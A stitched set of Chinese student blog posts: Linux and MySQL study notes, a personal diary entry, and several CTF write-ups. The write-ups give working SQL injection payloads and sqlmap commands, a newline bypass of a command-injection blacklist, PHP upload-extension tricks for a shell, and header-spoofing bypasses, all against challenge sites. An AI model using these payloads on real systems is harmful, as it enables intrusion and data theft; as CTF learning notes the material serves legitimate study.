
计算机专业学生,请多多指教~
背景: 版本为 centos 6.7,Linux中文显示 原因 echo '$LANG="zh_CN.UTF-8"' >/etc/sysconfig/i18n 解决方案: [root@oldboy ~]# locale -a |grep zh zh_CN zh_CN.gb18030 zh_CN.gb2312 zh_CN.gbk zh_CN.utf8 zh_HK zh_HK.big5hkscs zh_HK.utf8 zh_SG zh_SG.gb2312 zh_SG.gbk zh_SG.utf8 zh_TW zh_TW.big5 zh_TW.euctw zh_TW.utf8 查看得到支持以上中文编码。 则 [root@oldboy ~]# echo '$LANG="zh_CN.utf8"' >/etc/sysconfig/i18n [root@oldboy ~]# cat /etc/sysconfig/i18n (查看) $LANG="zh_CN.utf8" [root@oldboy ~]# . /etc/sysconfig/i18n (使生效) 可得
背景: VMware虚拟机下 原因: 在命令执行(update)途中,强制中断并直接运行poweroff命令关机。再次开机出现如图所示故障指示: 根据提示信息分析,可能因为执行更新命令未完成导致系统内核信息混乱。 解决方案: 在虚拟机开机时长按ESC,选择旧版本的内核即可
参考资料: 1.视频课程《Linux运维》 2.书籍PDF版《Linux运维 Web集群实战》 远程连接Linux系统 原理 互联网上的计算机都会有一个32位的地址,ip地址。 我们访问服务器,就必须通过这个ip地址。 局域网里也有预留的ip地址 192/10/172开头。局域网的ip地址也是唯一的。 NAT模式,电脑宿主机的ip在局域网里一定唯一,NAT模式创建虚拟机,虚拟机就是一个新的局域网(私有网络)。 老师的机器ip :192.168.33.128 端口 192.168.33.128代表一台主机,但是主机上可能会有很多服务。 一台主机上的不同服务功能通过端口区分,然后让外部人员访问。 远程连接服务 ssh(默认22端口) 协议 类似于语言:汉语,英语,不同的服务提供了不同的端口,不同的功能,通信方式可能也是不同的,这种通信的方式可以理解为协议 一台主机上的不同服务功能通过端口区分,不同的服务,客户和服务器之间通信,就可能使用不同的协议。 ip.port(端口).protocol(协议) ssh服务远程连接 协议,ip,端口,用户名,密码 ssh(加密),telnet(未加密) 打开虚拟机ssh连接 ifconfig ps -ef|grep ssh (查看进程) 排查故障 两个物理机器之间是否通畅,看物理网络(网线网卡,ip是否正确) ping ip -t 不通 客户端到服务器端物理链路有问题。网卡,ip,网线,防火墙 服务(ssh)是否好的 检测办法:从哪个机器连就在哪个哪个机器操作 telnet ip port(服务器的ip,端口) 不通 服务器防火墙阻挡 /etc/init.d/iptables stop 端口没开放,服务器没有监听你连接的端口(以ssh22端口为例) netstat -lntup|grep 22 重启ssh服务/etc/init.d/sshd restart 客户端工具 CRT ,xshell,putty 服务端ssh服务,进程名sshd,软件openssh(连接).openssl(加密) 配置本地机器上传下载的目录 安装 yum install lrzsz -y 上传 进入想传东西的目录(虚拟机) rz 回车(找到上传win地址,不要以ascii方式上传文件,这样解压不了) rz -y 可以覆盖原有的文件 下载 sz 文件名(tab补全) sz -y 可以覆盖原有文件 下载到putty 会话-打印-Xmodem/Zmodem下下载目录 注意事项 只能上传下载文件而不能是目录,如果是目录需要打包成文件再传,打包成zip而不是rar 千万不要以ASCII方式上传文件 批量管理100台电脑--CRT 下<Send chat to all tabs> ,大型可以用SSH KEY等 ip地址--ifconfig eth0 注意事项:不能用交互式的命令,例如vi/vim,rz;但是可以使用echo,cat,sed 更改目录颜色 Linux系统应用管理 查看Linux系统的版本 cat /etc/redhat-release 查看内核版本号 uname -r 系统位数32/64 uname -m 补充企业面试题:32位,64位系统的区别? 用户 root --皇帝【#】,生产环境避免在root下操作,除非有相应的系统维护需求,使用完后立刻退回到普通用户 普通用户到root 【Ctrl+D】 su - (默认是root) 普通用户--老百姓【$】 添加普通用户 useradd oldboy (添加用户) tail -l /etc/passwd (查看用户) passwd oldboy (用passwd命令给oldboy用户设置密码):123123 角色切换 su - oldboy (从当前用户切换到这个用户下) pwd (你的路径就是你的家~)此时路径为/home/oldboy whoami(查看你是谁),此时返回oldboy 虚拟用户--傀儡,不能使用,固定存在,满足Linux里面服务进程及程序属主的要求而存在。进程及程序都必须属于用户。 说明: root 切换到其他用户不需要密码 普通用户无法更改系统配置和管理服务
解决方案 方法1 打开Laragon,启动所有。再在终端下 mysql -u root -p -u 即user -p 即password 输入密码就可以了呀。 方法2 mysql ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)? 1.管理身份运行cmd.exe 2.切换到mysql安装目录下的bin文件夹,命令行运行"mysqld --install" mysql ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost' (using password: NO)? 添加mysql到环境变量即可。方法如下: 设置---高级系统设置---环境变量---系统变量---寻找 Path---添加mysql的bin目录地址到path mysql -u root -p root password: ******* 成功 后记 不得不说,我不记得自己遇到的问题了。因为没有及时记录。咳咳,以上记录自己也看不太懂呢... 嗯嗯,还是系统的学习一下比较好...要不像这样,东一点问题,西一点问题...搞也搞不清。 下次会尝试,记录问题的解决方案及分析,尝试学习到一下东西,而不只是机械的操作。谢谢大家~
PAC文件失效怎么办? 方法1: PAC->编辑本地pac.txt文件,将以下网址内容复制到pac.txtwhitelist.pac 方法2: PAC->从GFWList更新本地PAC 嗯...更推荐方法1哟... 代理自动配置 英语:Proxy auto-config,简称PAC,是一种网页浏览器技术。用于定义浏览器该如何自动选择适当的代理服务器来访问一个网址。浏览器在访问其他页面以前,首先访问这个PAC文件
参考:官方writeup Web seu_wlan level_1 模拟手机访问: 没有想到要修改请求头中的User-Agent呢~呜呜。 关于手机的User-Agent可以查看这里,用burp修改就可以了呀~ huaji 查看源代码,最后看到表情符,想到是aadecode.解码可得解码网站在这里~ seu_wlan level_2 误打误撞... 之前还在纠结_POST[password]); 这条语句,做出来了过后发现原来只要截断就可以了..嗯.. 提示welcome.txt的源码在welcome.txt里,于是查看,其中,提示为sql注入:user' and pw='$pass'"; 于是POST: username=0'or 1=1# 其中单引号闭合前面的单引号,a or b ,则a 或者b其中一个正确则式子正确,1=1为永真式。最后的#的注释,截断后面的sql语句。 seu_wlan crack 提示为burp爆破, send to inturder, payload type设置为number . from 0 to 9999 ,step =1,min integer digits=4,就可以遍历190000-199999的密码了。 execute the command you want to get flag 黑名单 $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); 但是我们可以发现并没有过滤\n(换行符),因此可以使用换行符绕过。%0a是urlencode后的换行符。啊哦,这里使用burp的repeater发送数据包。 crypto 参考:CTF中那些脑洞大开的编码和加密 这不是凯撒 gmbh|E1`z1v`lo1x`btd22~ 问了问小伙伴,才知道这是移位密码~ 与凯撒密码类似,区别在于移位密码不仅会处理字母,还会处理数字和特殊字符,常用 ASCII 码表进行移位。其破解方法也是遍历所有的可能性来得到可能的结果。 解码地址在这里 base1 是在这里解码(base64)的哦~ base2 base家族编码: @iH<,{pv,9Qs^m9j9GH<f,@GBW 嗯,猜不到是什么,最后问了小伙伴是base91。其实在这个网址搜索base 也可以找到的呢 areyouok ook是开玩笑的编程语言。在这里解码 中国人的价值观 核心价值观解码工具 Misc Crack Zip 利用工具 azpr破解zip的弱密码
参考资料: 1.视频课程《Linux运维》 2.书籍PDF版《Linux运维 Web集群实战》 路径,mkdir,touch,vi等知识知识问答精讲 Linux 系统命令操作语法的格式 命令 [参数选项] [文件或路径] 其中[]表示是非必须的,多个参数可以连在一起写 创建一个目录/data windows下的路径:c:\data\test linux下的路径:/data/test linux中/为所有目录的起点 创建目录:make dircectorys【mkdir】【mkdir /data】【cd /;mkdir data】,其中分号的作用是将两个命令在一行分隔开 看目录【ls -ld /data】,其中别忘了空格哦,-ld查看data目录本身 在/data下建立oldboy.txt touch/data/oldboy.txt 创建10000个文件 touch stu{1..10000} 为oldboy.txt 下添加内容 i am studying linux vi vi oldboy.txt (进入vi编辑器) i (insert ,插入状态) i am study linux Esc(命令状态) :wq(write quit,保存退出);q(不保存直接退出) echo echo 'i am studying linux'>oldboy.txt(如果文件不存在会创建文件,如果存在会覆盖,所以危险,用>要记得备份哦) 怎么能不覆盖呢用>>,这样就追加到文件的尾部了。 cat cat >oldboy.txt 回车输入内容,然后按Ctrl+c,或者Ctrl+d都可以结束输入 cat >>/data/oldboy.txt>>EOF(回车输入内容可以多行追加)EOF,其中两个EOF或者是任意内容成对出现(未成功) cat old boy.txt(查看内容) rm -f oldboy.txt(删除文件) Tab 完善未完善的文件名 常用命令总结 mkdir make directorys 创建目录 例子:mkdir /data 在根/下创建data目录 ls list(列表) 创建目录文件 例子: ls / 列根目录内容 -l(long)长格式,-d(directorys)查看目录 cd change directory 改变目录路径 例子:cd /etc 相对路径:不从根/开始的路径 例子: cd etc 绝对路径:从根/开始的路径 例子:cd /etc pwd print work directory 打印工作目录(显示当前路径) touch 创建文件或者更新时间戳,如果文件存在就只更新时间戳,如果不存在就创建文件 vi 记事本,简单。例子:vi oldboy.txt vim 复杂编辑器,功能复杂,高亮,自动缩进(写shell ,python) echo 打印输出内容的常用命令,配合“>”或者“>>” ">" 意思是重定向,会清楚文件里所有以前的数据 “>>”意思是内容追加,只会在文件稳步追加需要的内容 微信:zejia98,期待和你成为朋友
参考资料: 1.视频课程《Linux运维》 2.书籍PDF版《Linux运维 Web集群实战》 搭建学习环境 VMware Workstation 12 装双系统不是工作环境 安装 CentOS虚拟机 下载镜像 新建虚拟机,选择磁盘10G,2网卡,NAT模式 Operating System not found 虚拟机关机,CD/DVD里添加iso镜像地址 localhost:oldboy-rootpassword:123456 分区选择:create custom layout 自定义 至少一个根(/) swap(交换 )分区,物理内存1.5倍。swap分区不是必须的 /boot 分区,Linux系统的引导分区,也不是必须的 安装centos6.9如何选择安装包 reboot 之后 从iso-->物理 linux ip配置讲解 setup--> network configuration-->device-->eth0(什么都不改) ifup eth0 获取ip 如果fail.计算机管理-服务--vmware DHCP/NAT服务是否开启 ifconfig eth0查看获取的ip 打开window 终端: ping ifconfig 中看到的inet address:ping 192.168.33.136 -t 可以用笔记本连接虚拟机 人多NAT,人少桥接(有局域网) ssh连接 cat /etc/sysconfig/network-scripts/ifcfg-eth0 其中ONBOOT=no, 每次都要ifconfig 修改ONBOOT sed -i ' s#ONBOOT=no#ONBOOT=yes#g' /etc/sysconfig/network-scripts/ifcfg-eth0 应用putty的log 微信:zejia98,期待和你成为朋友
参考资料: 1.视频课程《Linux运维》 2.书籍PDF版《Linux运维 Web集群实战》 什么是操作系统? Operating System, 简称OS,是计算机系统中必不可少的基础系统软件。是处于用户与计算机系统硬件之间用于传递信息的系统程序软件。 目前PC(Intel x86)上常见的操作系统:Windows,Linux,DOS,Unix 什么是Linux? Linux是一套开放源代码程序,并可以自由传播的类Unix操作系统 应用领域 服务器端 超大型公司,10年不用重启服务器 嵌入式开发 手机 安卓-Linux、苹果-Unix 路由器 交换机 防火墙 自动售货机 各种家用电器 个人PC桌面 特性 开放源码,可以自由修改 和Unix兼容 可自由传播 适合Intel x86 系列 Linux起源 Unix系统1969贝尔实验室诞生 Unix的5大优秀特性 技术成熟,可靠性高 极强的可伸缩性,支持的CPU处理器体系架构非常多 网络功能强大 强大的数据库支持能力 强大的开发功能,Unix促进了C语言的诞生。 Unix操作系统革命 Unix面临版权回收,源代码闭源 Richard Stallman 大胡子-自由软件与GNU开放源码,但没有流行 谭邦宁-Minix在x86 PC平台,可用于教学 Linus Tovalds-阅读Minix系统源码,开发Linux 核心概念 自由软件与FSF 自由软件强调权利(开源),而非免费 GNU: Emacs, gcc,bash,awk GPL (General Public License),通用公共许可,是最著名的开源协议 Linux内核是GPL许可的:任何人有共享和修改自由软件的自由,任何人有权取得,修改和重新发布自由软件的源代码权利,但是都必须同时给出具体更改的原代码。 但是Linux内核不是GNU项目的一部分,是Linus Torvalds Linux系统组成 核心:Linus Torvalds 开发的Kernel 组件:GNU+其他必要组件 核心组成原理:硬件-系统核心-命令解释器shell,bash-外围应用程序 Linux应用领域 服务器端系统 超大型领域,10年不用重启服务器 发行版选择 Red Hat 有版权 Federa-Red Hat 的一个分支,仍遵循GPL CentOS(Community Enterprise Operating System)-Red Hat 的一个分支,以Red Hat 所发布的源代码重新构建符合GPL协议的Linux系统,即将LOGO和收费软件去除再编译。目前CentOs已被Red Hat 收购,但仍然开源免费。 选择适合的Linux系统 桌面-Ubuntu 服务器-CentOS 安全-Debian,FreeBSD 选择CentOS版本-CentOS 6.7 微信:zejia98,期待和你成为朋友~
参考资料: 1.视频课程《Linux运维》 2.书籍PDF版《Linux运维 Web集群实战》 3微信公众号文章《高并发那点事儿》 一、网站PC服务器 1U(Unit)=4.45cm 2U型号(2014-2016):R720,R730 1U型号(2014-2016):R420,R430,R620,R630 互联网公司服务器品牌: DELL(大多数),HP,IBM(百度) 二、电脑主机组成 CPU:大脑内存(临时存放,快):胃...硬盘(永久存放数据) 显卡:眼睛 声卡:耳朵 1.电脑电源:心脏 一台服务器用双电,双路。如果是集群(一堆机器做一件事情)的情况可用单电。 2.主板:骨架 南桥芯片:I/O之间的通信 北桥芯片:CPU,内存 3.CPU(中央处理器) CPU负责运算和控制,是服务器性能效率的最核心部件。 CPU比计算机任何部件都更能决定计算机的工作速度和效率。 型号:Intel , AMD 一般企业服务器的CPU颗数2-4颗,单颗CPU4核。 4.CPU风扇 作用:为CPU降温 5.BOIS芯片 作用:负责主板通电后各部件自检,设置,保存。一切正常后才能启动操作系统。 6.磁盘(硬盘) 作用:永久存放数据的存储器,磁盘上也有缓存(芯片)。我们通过服务器提供网站服务,网站数据来自硬盘。硬盘好坏直接决定网站的访问速度,但硬盘相对于内存来讲还是慢。所以在企业中,最好少用硬盘不用硬盘,多用内存。 类型 机械硬盘(马达,电机带动磁盘运转,速度慢):Ide(SCSI),SAS,SATA 固态/电子硬盘(使用速度快):SSD 速度:SSD>SAS>SATA>Ide 企业服务器应用 常规选择SAS(SATA,SCSI) 不对外提供访问:SATA,缺点是速度慢。 高并发,小数据量,可以选择SSD,速度快。 淘宝:SSD和SATA结合,高并发用SSD,低访问用SATA。 企业网站,都会尽量让用户从内存中读取数据,而不是硬盘。优化一般都是磁盘和内存的使用比例优化。 7.DELL阵列卡(RAID卡) 基本作用 网站数据量很大,单块盘装不了,就购买多个盘,但是又不想单个盘存放数据。就需要工具把所有硬盘整合成一个大磁盘,再这个大磁盘上再分区(虚拟磁盘)放数据。 多块盘放在一起可以有冗余(备份) RAID多种整合方式 RAID0:最低1块盘,最多N块组合,容量没有损失。组合之后变成一块盘,读写性能好,但是没有冗余(备份) RAID1:只能2块盘,大小同小的那块盘一样,另一块备份,有50%冗余。数据是2个磁盘的一半,性能低 RAID5:至少3块盘,可以是5,7,8...容量损失一块盘。性能备份都中庸,企业常见。 RAID10(1+0):最少4块盘,容量1/2,冗余1/2,最多坏2块,读写性能比较好,但是成本高。 冗余度:1>10>5>0 性能:0>10>5>1 成本:0<5<1<10 互联网公司根据数据的存储和访问需求,去匹配对应的raid级别。 单台服务器: 很重要,盘不多,系统盘raid1,数据量比较大raid10 数据库/存储服务器:主库(不好扩展,不好备份)raid10,从库raid5\raid0(为了维护成本,尽量一致raid10) WEB服务器,如果没有太多数据的话,raid5,raid0(单盘)。 有多台,监控/应用服务器,raid0,raid5 有RAID卡后,一般磁盘就会插到RAID卡上,而不是主板上。RAID卡上也是有缓存的。 8.内存 1.内存是临时存放数据的地方,运行时被调度,服务器关闭或者程序关闭之后,数据自动从内存中释放掉。 程序:c/php/java,代码文件,静态,存放在磁盘里的数据 进程:正在运行的程序,进程运行就是把程序放在内存里执行。 2.内存的速度决定电脑的速度。 内存是CPU直接访问的存储器,CPU从内存中读取操作指令和数据,又把运算或处理结果送回内存。 内存很快,但是还是没有CPU快。 3.企业案例 高并发,大数据量写数据(微博,红包): 先写入内存,再定时定量写入磁盘。 优点:性能高,速度快。 缺点:可能存在数据丢失。 解决方案: 服务器主板安装蓄电池,断电瞬间把数据回写到磁盘 UPS(一组蓄电池)不间断供电 选双电路机房 并发不是很大,数据也不是特别大的网站,读多写少的业务: 数据写入磁盘,再通过程序把数据读入内存,再对外通过读内存提供访问服务。 并发与并行 如果一个系统支持两个或多个动作(Action)同时存在,那就是一个并发系统。 如果一个系统支持两个或多个动作同时执行,那就是一个并行系统。 也就是说,单个CPU永远无法同时执行两个或以上的任务,但是允许任务同时存在。 所以,只有多核或多个CPU才可能发生并行,如果单核单CPU只能发生并发行为。 缓存无处不在。 企业面试题目: buffer 和 cache 有什么区别? buffer:写入数据到内存,这个存数据的空间称为缓冲区buffer,写入缓冲区。 cache:从内存读取数据,这个存数据的空间称为缓存区cache,内存缓存区。 9.光驱: 作用:装系统,但是光驱逐渐被淘汰。因为可以使用U盘安装,网络安装(如何给一万台机子装系统?) 网络安装系统: KICKSTART无人值守安装 COBBLER无人值守安装 10.远程管理卡: 作用:开关服务器,并可以查看服务器开关的过程等信息。 一般选择独立的远程管理卡,可以快速恢复服务。 大客户有KVM的远程管理,特大客户会有自己的人员扎住机房。 微信:zejia98,期待和你成为朋友~
如何学好Linux? 方法:成功最有效的方法就是和有经验的人学习 努力:每天学习10个小时以上...完成老师的作业要求,没达到10个小时以上不睡觉... 坚持:4-5个月...每天学习10个小时以上,完成老师的作业 相信可能你就有无限可能 选择要谨慎,但是一旦确定了选择就要勇往直前.. 小老师博客:oldboy.blog.51cto.com 小老师的书: 《跟老男孩学Linux运维》 题目: 希望老师没讲之前题目就可以做完60%-80% 作战要领: 1.重复看基础
题目:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 本题为宽字节注入,本文重点讲解SQL注入相关方法。 方法一: 1、爆出数据库 手工 id=%df%27%20union%20select%201,%20database()%23 工具 python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' --current-db 2、爆出表 手工 id=%df%27 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23 工具 python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover --tables 3、爆出表的内容 手工 id=%df%27 union select 1,group_concat(column_name)from information_schema.columns where table_name=ctf4%23 ctf4进行16进制转换 id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23 工具 sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover -T ctf4 --columns 4、获取列的内容 手工 id=%df%27 union select 1,group_concat(flag) from ctf4%23 工具 sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -T sae-chinalover -T ctf4 -C flag --dump 方法二: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag --level 3 --risk 1 --thread 10 方法三: python sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' --current-db 关注黄色标注,打开此文件可得。 关于手工注入: 后续参考: 1、SQL备忘录 2、SQL Injection 关于sqlmap注入: -h 显示基础的帮助消息并退出 -hh 显示高级的帮助消息并退出 -u 目标url --thread 10 最大为10 --level 3 最大为5 --risk 3 最大为3 -a 检索所有 --current-db 检索当前数据库 --tables 枚举数据库表名 --columns 枚举数据库列名 --dump 输出数据库表的数据 --search 查找特定的列名,表名或数据库名,配合-D,-C,-T -D 指定数据库名 -T 指定数据库表名 -C 指定数据库列名 --common-tables 检测常见的表名 --common-columns 检测常见的列名
参考:http://www.runoob.com/mysql/mysql-tutorial.html 安装 laragon 更换mysql root 密码 MySQL 创建数据表 CREATE TABLE table_name (column_name column_type); MySQL 删除数据表 DROP TABLE table_name ; MySQL 插入数据: INSERT INTO 表 ( 字段名1, 字段名2,...字段名N ) VALUES ( 值1, 值2,...值N ); 读取数据表: select * from runoob_tbl; MySQL 查询数据: SELECT column_name,column_name FROM table_name [WHERE Clause] [LIMIT N][ OFFSET M] MySQL WHERE 子句 SELECT field1, field2,...fieldN FROM table_name1, table_name2... [WHERE condition1 [AND [OR]] condition2..... MySQL UPDATE 查询 UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause] MySQL DELETE 语句 DELETE FROM table_name [WHERE Clause] MySQL LIKE...%模糊匹配 SELECT field1,field2,... fieldN ,field2 ,... fieldN FROM table_name WHERE field1 LIKE condition1 [AND [OR]] filed2 ='somevalue'[ AND [ OR ]] filed2 = 'somevalue' 其中LIKE子句使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号 *。查询含condition1的所有记录。例如: "runoob_author = 'RUNOOB.COM'"中的COM mysql> SELECT * from runoob_tbl WHERE runoob_author LIKE '%COM'; MySQL UNION 操作符-连接两个以上的 SELECT 语句 SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions] UNION [ALL | DISTINCT] SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions]; MySQL 排序-ORDER BY子句 SELECT * from runoob_tbl ORDER BY submission_date ASC; MySQL GROUP BY 语句 将数据表按名字进行分组,并统计每个人有多少条记录 mysql> SELECT name, COUNT(*) FROM employee_tbl GROUP BY name; Mysql 连接的使用-JOIN 在两个或多个表中查询数据 SELECT...FROM 表1 INNER JOIN 表2 ON 条件; MySQL NULL 值处理 因为NULL 值与任何其它值的比较(即使是 NULL)永远返回 false,即 NULL = NULL 返回false 。 为了处理这种情况,MySQL提供了三大运算符: IS NULL: 当列的值是 NULL,此运算符返回 true。 IS NOT NULL: 当列的值不为 NULL, 运算符返回 true。 <=>: 比较操作符(不同于=运算符),当比较的的两个值为 NULL 时返回 true。 示例: SELECT * from runoob_test_tbl WHERE runoob_count IS NOT NULL; MySQL 正则表达式-REGEXP 操作符 示例: mysql> SELECT name FROM person_tbl WHERE name REGEXP '^st'; MySQL 事务 在 MySQL 中只有使用了 Innodb 数据库引擎的数据库或表才支持事务。 事务处理可以用来维护数据库的完整性,保证成批的 SQL 语句要么全部执行,要么全部不执行。 事务用来管理 insert,update,delete 语句 MYSQL 事务处理主要有两种方法: 1、用 BEGIN, ROLLBACK, COMMIT来实现 BEGIN 开始一个事务 ROLLBACK 事务回滚 COMMIT 事务确认 2、直接用 SET 来改变 MySQL 的自动提交模式: SET AUTOCOMMIT=0 禁止自动提交 SET AUTOCOMMIT=1 开启自动提交 MySQL ALTER命令-修改数据表名或者修改数据表字段 使用了 ALTER 命令及 DROP 子句来删除以上创建表的 i 字段: mysql> ALTER TABLE testalter_tbl DROP i; ADD 子句来向数据表中添加列,如下实例在表 testalter_tbl 中添加 i 字段,并定义数据类型 mysql> ALTER TABLE testalter_tbl ADD i INT; 把字段 c 的类型从 CHAR(1) 改为 CHAR(10):modify mysql> ALTER TABLE testalter_tbl MODIFY c CHAR(10); 修改表名: rename mysql> ALTER TABLE testalter_tbl RENAME TO alter_tbl; MySQL 元数据 获取服务器元数据 SELECT VERSION( ) 服务器版本信息 SELECT DATABASE( ) 当前数据库名 (或者返回空) SELECT USER( ) 当前用户名 SHOW STATUS 服务器状态 SHOW VARIABLES 服务器配置变量
判断能否进行SQL注入 : ① http://www.mytest.com/showdetail.asp?id=49 ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1 ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2 可以注入 ① ② 正常,③ 报错 不可以注入 ① 正常,② ③ 报错 数据库名称 http://www.mytest.com/showdetail.asp?id=49 ;and user>0 char和int比较报错为: 将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。 这样就可以通过报错获得数据库名“abc”啦~ 猜表名 ID=49 And (Select Count(*) from Admin)>=0 如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。 表名Admin 猜字段 将Count(*)替换成Count(字段名),用同样的原理猜解字段名 字段名username 猜字段的值(Ascii逐字解码法) 1.测试长度http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0 其中top语句用来返回要规定记录的数目。 如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8 2 测试每个字符值 id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0 同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
求getshell(未完待续) 求getshellhttp://120.24.86.145:8002/web9/ burp截图 解题重点: Content-Type: Multipart/form-data; Content-Disposition: form-data; name="file"; filename="a.php5" Content-Type: image/png (不确定)其中,如果上:multipart/form-data ,下image/png,会自动将文件转义成图片,所以改变大小写,让其无法匹配到multipart/form-data,则php5文件就不会被转义成image。 后缀名黑名单。 特殊后缀名绕过:【evil.php】名字改为【evil.php6】,或加个空格改【evil.php 】。php别名:php2, php3, php4, php5, phps, pht, phtm, phtml。其中php5没有被过滤. 后缀名大小写绕过:【evil.php】改为【evil.Php】 双写后缀名绕过:【evil.php】改为【evil.pphphp】 Content-Type: image/png
周末无事,在“豆瓣”和“活动行”app上挑选同城活动,于是就遇到了她——零难度戏剧沙龙,这算是一个很有意思的活动呢。 最初挑选这个活动呀,是因为畅想家说:“你需要去锻炼一下,这对你的个性有影响,在剧本中了解角色的心理变化,他们是个怎样的人,另外还可以和其他热情的小伙伴结成好朋友呢~” 虽然我傻乎乎的到现在还没想明白对我的个性有什么影响,不过应该还是有一些收获呢~ 零难度戏剧沙龙.jpg 嗯,这应该算是我第一次“主动”参加一项陌生人聚集的活动。十来个小伙伴,大部分都是女孩子,有比我年长已经开始工作的小美女们,有看起来年纪小小的害羞喜欢看书的小可爱,有喜欢看展的真实的十二....几个小时的时间,我们从陌生人到彼此熟悉,每个人渐渐的释放自我。 活动的内容很棒,就我个人来说,我好像又发现了另一个自己。以前呀~我一直以为自己是遇到什么都很坦然,看到了陌生人也会表现很友好不害怕的人,我还觉得自己挺好的。但是今天,我才发现了原来那是一层“淡定”,“微笑”的面具。不得不说,我感觉自己没有那么释放,我感觉 自己有一丢丢拘束,在大家都越来越熟悉,越来约放的开的时候,我感觉自己和他们是有一层屏障的,即使我知道他们很好很友善很真实。 除此之外呢,我感觉到自己曾经的“经历”好无聊,也就是不丰富不有趣。这也许可能是因为我看过的剧太少,更深层的原因我猜可能是因为我“麻木”,我很少思考一些事情,我很少记忆一些事情,我很少感悟一些事情,我很少记录一些事情。但是我在努力呀,就像现在,用文字的形式记录我的一天,让我不至于完全忘记“今天的我的故事”。我在尝试思考,我在尝试深刻,我在尝试探索自己的内心,我在尝试关注那个最重要的我自己。给她滋养,给她希望,给她动力,给她坚强。 嗯,想说的内容很多,可是文字的功底欠缺,我能感受到自己好像说了好多无意义乱七八糟的话,但也许这也浅浅代表着现在我逐渐成长的懵懂的心。
web8 110 txt????http://120.24.86.145:8002/web8/ <?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?> extract() -使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量. empty()-判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。 trim()-移除字符串两侧的空白字符或其他预定义字符。 file_get_contents-将整个文件读入一个字符串 可知,获取flag要使ac不为空,f 的值从文件fn中获取,并且ac===f 姿势1:构造payload: url:?/ac=aa&&fn=php://input post data :aa 姿势2 :猜测目录下有txt文件,测试出flag.txt。构造: ?ac=flags&fn=flag.txt 可得出flag php://input 是个可以访问请求的原始数据的只读流 php://input 读取POST数据,不可读取GET数据 $data = file_get_contents("php://input");
各种绕过 110 各种绕过哟http://120.24.86.145:8002/web7/ <?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'; } ?> get 接收 id 和 uname post 接收 passwd sha1() 函数计算字符串的 SHA-1 散列 根据函数性质,嗯,又是构造数组就好了~ get:id=margin&&uname[]=9 post:passwd[]=8 可得flag
程序员本地网站 100http://120.24.86.145:8002/localhost/ 请从本地访问 页面提示请从本地访问。 打开burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1 就好了 X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
md5 collision(NUPT_CTF) 100http://120.24.86.145:9009/md5.php 访问题目链接,得到提示input a,而题目是md5 collision,md5碰撞。 根据==用法,0 == 字符串是成立的,从而可以绕过MD5检查。 所以找一个md5是oe开头的值,get方式传参过去,PAYLOAD: 120.24.86.145:9009/md5.php?a=s878926199a 记录一些MD5值: s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 可得到flag
你从哪里来 100http://120.24.86.145:9009/from.php 页面:are you from google? 于是利用burp抓包: referer:https://www.google.com, repeater可得flag。 Referer:Referer 首部包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 首部识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等
